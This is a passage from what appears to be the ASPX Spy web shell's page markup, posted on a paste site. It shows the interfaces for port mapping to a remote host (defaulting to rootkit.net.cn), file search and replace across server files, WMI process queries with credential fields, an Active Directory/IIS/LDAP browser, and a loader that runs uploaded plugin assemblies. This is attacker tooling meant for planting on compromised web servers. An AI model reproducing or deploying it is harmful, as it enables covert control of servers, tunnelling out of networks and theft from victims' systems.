  2829. <td style="width:20%" align="left">Local Port : <input class="input" runat="server" id="Bin_TextBox_Lport" type="text" size="20" value="3389"/></td>
  2830. <td style="width:20%" align="left">Remote Ip : <input class="input" runat="server" id="Bin_TextBox_Rip" type="text" size="20" value="www.rootkit.net.cn"/></td>
  2831. <td style="width:20%" align="left">Remote Port : <input class="input" runat="server" id="Bin_TextBox_Rport" type="text" size="20" value="80"/></td></tr>
  2832. <tr align="center"><td colspan="5"><br/><asp:Button ID="Bin_Button_MapPort" CssClass="bt" runat="server" Text="Start" OnClick="Bin_Button_MapPort_Click"/><asp:Button ID="zcg_btnListPM" CssClass="bt" runat="server" Text="ListAll" OnClick="zcg_btnListPM_Click"/><asp:Button ID="zcg_btnClearPM" CssClass="bt" runat="server" Text="ClearAll" OnClick="zcg_btnClearPM_Click"/></td></tr></table>
  2833. <asp:Table ID="zcg_tbl_PMList" runat="server" Width="100%" CellSpacing="0" Visible=false>
  2834. <asp:TableRow CssClass="head"><asp:TableCell Width="20%">ID</asp:TableCell><asp:TableCell Width="20%">Remote</asp:TableCell><asp:TableCell Width="20%">Local</asp:TableCell><asp:TableCell Width="20%">Status</asp:TableCell><asp:TableCell Width="20%">Action</asp:TableCell></asp:TableRow>
  2835. </asp:Table>
  2836. </div>
  2837. <%--Search--%>
  2838. <div id="Bin_Div_Search" runat="server">
  2839. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  2840. <tr align="center">
  2841. <td style="width:20%" align="left">Keyword</td>
  2842. <td style="width:60%" align="left"><textarea id="Bin_TextArea_Search" runat="server" class="area" style="width:100%" rows="4"></textarea></td>
  2843. <td style="width:20%" align="left"><input type="checkbox" runat="server" id="Bin_Search_UseReg" value="1"/> Use Regex</td>
  2844. </tr>
  2845. <tr align="center">
  2846. <td style="width:20%" align="left">Replace As</td>
  2847. <td style="width:60%" align="left"><textarea id="Bin_TextArea_ReplaceAs" runat="server" class="area" style="width:100%" rows="4"></textarea></td>
  2848. <td style="width:20%" align="left"><input type="checkbox" runat="server" id="Bin_Search_Replace"/> Replace</td>
  2849. </tr>
  2850. <tr align="center">
  2851. <td style="width:20%" align="left">Search FileType</td>
  2852. <td style="width:60%" align="left"><input type="text" runat="server" class="input" id="Bin_Search_Ext" style="width:100%" value="asp|asa|cer|cdx|aspx|asax|ascx|cs|jsp|php|txt|inc|ini|js|htm|html|xml|config"/></td>
  2853. <td style="width:20%" align="left"><asp:DropDownList runat="server" ID="Bin_Search_Mod" AutoPostBack="False" CssClass="list"><asp:ListItem Value="name" Selected="True">File Name</asp:ListItem><asp:ListItem Value="content">File Content</asp:ListItem></asp:DropDownList></td>
  2854. </tr>
  2855. <tr align="center">
  2856. <td style="width:20%" align="left">Path</td>
  2857. <td style="width:60%" align="left"><input type="text" class="input" id="Bin_Search_Path" runat="server" style="width:100%" /></td>
  2858. <td style="width:20%" align="left"><asp:Button CssClass="bt" id="Bin_Button_SearchSubmit" runat="server" onclick="Bin_Button_Search_Click" Text="Start" /></td>
  2859. </tr>
  2860. </table>
  2861. <br/>
  2862. <br/>
  2863. <asp:Table ID="Bin_Table_Search" runat="server" Width="100%" CellSpacing="0" >
  2864. <asp:TableRow CssClass="head"><asp:TableCell Width="60%">File Path</asp:TableCell><asp:TableCell Width="20%">Last modified</asp:TableCell><asp:TableCell Width="20%">Size</asp:TableCell></asp:TableRow>
  2865. </asp:Table>
  2866. </div>
  2867. <%--WmiTools--%>
  2868. <div id="Bin_Div_WmiTools" runat="server">
  2869. <div id='zcg_divresize' style="width:1000px;overflow:auto">
  2870. <p>Computer:<asp:TextBox id="zcg_txbWmiComputer" style="width:8%;margin:0 8px; height:17px" CssClass="input" value="" runat="server"/>Username:<asp:TextBox id="zcg_txbWmiUserName" style="width:8%;margin:0 8px; height:17px" CssClass="input" value="" runat="server"/>Password:<asp:TextBox id="zcg_txbWmiPassword" style="width:8%;margin:0 8px; height:17px" CssClass="input" value="" runat="server"/>Namespace:<asp:TextBox id="zcg_txbWmiNamespace" style="width:8%;margin:0 8px; height:17px" CssClass="input" value="root\CIMV2" runat="server"/>QueryString : <asp:TextBox id="Bin_TextBox_WmiString" style="width:20%;margin:0 8px; height:17px" CssClass="input" runat="server" Text="select * from win32_process"/>&nbsp;<asp:Button ID="Bin_Button_WmiQuery" runat="server" Text="Query" CssClass="bt" onclick="Bin_Button_WmiQuery_Click"/></p></div>
  2871. <div id="Bin_Div_WmiPanel" runat="server">
  2872. Result:<br />
  2873. <asp:DataGrid runat="server" ID="Bin_DataGrid_Wmi" HeaderStyle-CssClass="head" BorderWidth="0"
  2874. GridLines="None" EnableViewState="false"></asp:DataGrid>
  2875. </div>
  2876. </div>
  2877. <%--ADS Viewer--%>
  2878. <div id="zcg_div_ADSViewer" runat="server">
  2879. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
  2880. <tr>
  2881. <td style=" white-space:nowrap">Current Path:</td>
  2882. <td style=" width:40%"><input class="input" id="zcg_txbADSPath" type="text" style="width:95%;margin:0 8px;" runat="server"/>
  2883. </td>
  2884. <td style=" white-space:nowrap">Filter:</td>
  2885. <td style=" width:15%"><input class="input" id="zcg_txbADSFilter" type="text" style="width:85%;margin:0 8px;" runat="server"/>
  2886. </td>
  2887. <td style=" white-space:nowrap">UserName:</td>
  2888. <td style=" width:15%"><input class="input" id="zcg_txbADSUser" type="text" style="width:85%;margin:0 8px;" runat="server"/>
  2889. </td>
  2890. <td style=" white-space:nowrap">PassWord:</td>
  2891. <td style=" width:15%"><input class="input" id="zcg_txbADSPass" type="text" style="width:85%;margin:0 8px;" runat="server"/>
  2892. </td>
  2893. <td style=" white-space:nowrap">Type:</td>
  2894. <td style=" width:10%"><input class="input" id="zcg_txbADSType" Value="1" type="text" style="width:85%;margin:0 8px;" runat="server" onClick="show();" /><br/>
  2895. <div id="typediv" style="position:absolute;font-size:9pt; background-color:#e8e8e8;width:145px; display:none;z-index:9999;">
  2896. <input type="checkbox" name="checker" value="0">None</input><br/>
  2897. <input type="checkbox" name="checker" checked="true" value="1">Secure</input><br/>
  2898. <input type="checkbox" name="checker" value="2">SecureSocketsLayer</input><br/>
  2899. <input type="checkbox" name="checker" value="2">Encryption</input><br/>
  2900. <input type="checkbox" name="checker" value="4">ReadonlyServer</input><br/>
  2901. <input type="checkbox" name="checker" value="0x10">Anonymous</input><br/>
  2902. <input type="checkbox" name="checker" value="0x20">FastBind</input><br/>
  2903. <input type="checkbox" name="checker" value="0x40">Signing</input><br/>
  2904. <input type="checkbox" name="checker" value="0x80">Sealing</input><br/>
  2905. <input type="checkbox" name="checker" value="0x100">Delegation</input><br/>
  2906. <input type="checkbox" name="checker" value="0x200">ServerBind</input><br/>
  2907. <input type="button" onclick="hide(true)" style="width:50px;" value="OK"/>
  2908. <input type="button" onclick="hide(false)" style="margin-left:25px;" value="Cancel"/>
  2909. </div>
  2910. <script>
  2911. function show()
  2912. {
  2913. document.getElementById("typediv").style.display="block";return false;
  2914. }
  2915. function hide(isok)
  2916. {
  2917. if(isok)
  2918. {
  2919. var hidvalue=0;
  2920. var clicked=false;
  2921. var checkers=document.getElementsByName("checker");
  2922. for(var i=0;i<checkers.length;i++)
  2923. {
  2924. if(checkers[i].checked){hidvalue|=parseInt(checkers[i].value);clicked=true;}
  2925. }
  2926. document.getElementById("zcg_txbADSType").value=clicked?hidvalue:1;
  2927. }
  2928. document.getElementById("typediv").style.display="none";
  2929. return false;
  2930. }
  2931. </script>
  2932. </td>
  2933. <td style="white-space:nowrap" ><asp:Button ID="zcg_btnDoListADS" runat="server" Text="List" CssClass="bt" OnClick="zcg_btnDoListADS_Click"/></td>
  2934. </tr>
  2935. </table>
  2936. <table width="100%" border="0" cellpadding="4" cellspacing="0">
  2937. <tr class="alt1"><td style="padding:5px;">
  2938. <div style="float:right;">Schema:<asp:Label id="zcg_lbl_Schema" Text="&nbsp;" runat="server" style=" height:22px,Width:50px"/></div>
  2939. <asp:LinkButton ID="zcg_lbtnADSWinNT" runat="server" Text="WinNT" CommandArgument="WinNT:" OnClick="zcg_lbtnADS_Click"></asp:LinkButton> |
  2940. <asp:LinkButton ID="zcg_lbtnADSLocalMachine" runat="server" Text="LocalMachine" CommandArgument="WinNT://" OnClick="zcg_lbtnADS_Click"></asp:LinkButton> |
  2941. <asp:LinkButton ID="zcg_lbtnADSLocalShare" runat="server" Text="LocalShare" CommandArgument="WinNT://127.0.0.1/lanmanserver" OnClick="zcg_lbtnADS_Click"></asp:LinkButton> |
  2942. <asp:LinkButton ID="zcg_lbtnADSWorkGroup" runat="server" Text="WorkGroup" CommandArgument="WinNT://WORKGROUP" OnClick="zcg_lbtnADS_Click"></asp:LinkButton> |
  2943. <asp:LinkButton ID="zcg_lbtnADSCurrentDomain" runat="server" Text="CurrentDomain" CommandArgument="WinNT://" OnClick="zcg_lbtnADS_Click"></asp:LinkButton> |
  2944. <asp:LinkButton ID="zcg_lbtnADSIIS" runat="server" Text="IIS" CommandArgument="IIS:" OnClick="zcg_lbtnADS_Click"></asp:LinkButton> |
  2945. <asp:LinkButton ID="zcg_lbtnADSW3SVC" runat="server" Text="W3SVC" CommandArgument="IIS://LOCALHOST/W3SVC" OnClick="zcg_lbtnADS_Click"></asp:LinkButton> |
  2946. <asp:LinkButton ID="zcg_lbtnADSLDAP" runat="server" Text="LDAP" CommandArgument="LDAP:" OnClick="zcg_lbtnADS_Click"></asp:LinkButton> |
  2947. <asp:LinkButton ID="zcg_lbtnADSLDAPRootDSE" runat="server" Text="LDAPRootDSE" CommandArgument="LDAP://RootDSE" OnClick="zcg_lbtnADS_Click"></asp:LinkButton>
  2948. </td></tr>
  2949. <asp:Table ID="zcg_tbl_ADSViewer" runat="server" Width="100%" CellSpacing="0" >
  2950. <asp:TableRow CssClass="head"><asp:TableCell Width="20%">Name</asp:TableCell><asp:TableCell Width="10%">Type</asp:TableCell><asp:TableCell Width="15%">Schema</asp:TableCell><asp:TableCell Width="15%">Value</asp:TableCell><asp:TableCell>Path</asp:TableCell></asp:TableRow>
  2951. </asp:Table>
  2952. </table>
  2953. </div>
  2954. <%--Plugin Loader--%>
  2955. <div id="zcg_div_Plugin" runat="server">
  2956. Select a File:<input id="zcg_plgFile" class="input" runat="server" type="file" style="height:22px"/><br/><br/><asp:CheckBox ID="zcg_chbIsDeflated" runat="server" Text="Deflate-Compressed"/> <asp:CheckBox ID="zcg_chbIsHtml" runat="server" Text="HTML Result"/><br/><br/>TypeName:<br/><asp:TextBox ID="zcg_txbTypeName" runat="server" Size="55" Text="Zcg.Test.AspxSpyPlugins.TestPlugin"></asp:TextBox><br/><br/>MethodName:<br/><asp:TextBox ID="zcg_txbMethodName" runat="server" Size="55" Text="Test"></asp:TextBox><br/><br />Params:<br/><asp:TextBox ID="zcg_txbParams" runat="server" TextMode="1" Height="70" Columns="46"></asp:TextBox><br/><br/><asp:Button ID="zcg_btnplgLoad" CssClass="bt" runat="server" Text="LoadPlugin" OnClick="zcg_btnplgLoad_Click"/>
  2957. <div id="zcg_div_PluginResult" runat="server"></div>
  2958. </div>
  2959. </td></tr></table>
  2960. <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">Copyright(C)2006-2014 <a href="http://www.rootkit.net.cn" target="_blank">Bin'Blog</a> All Rights Reserved.</div></div>
  2961. <script>var tmpdiv=document.getElementById('zcg_divresize');var tmpwidth=document.getElementById('Bin_Div_Head').clientWidth+"px";if(tmpdiv){tmpdiv.style.width=tmpwidth;}</script>
  2962. </form>
  2963. </body>
  2964. </html>
Add Comment
Please, Sign In to add comment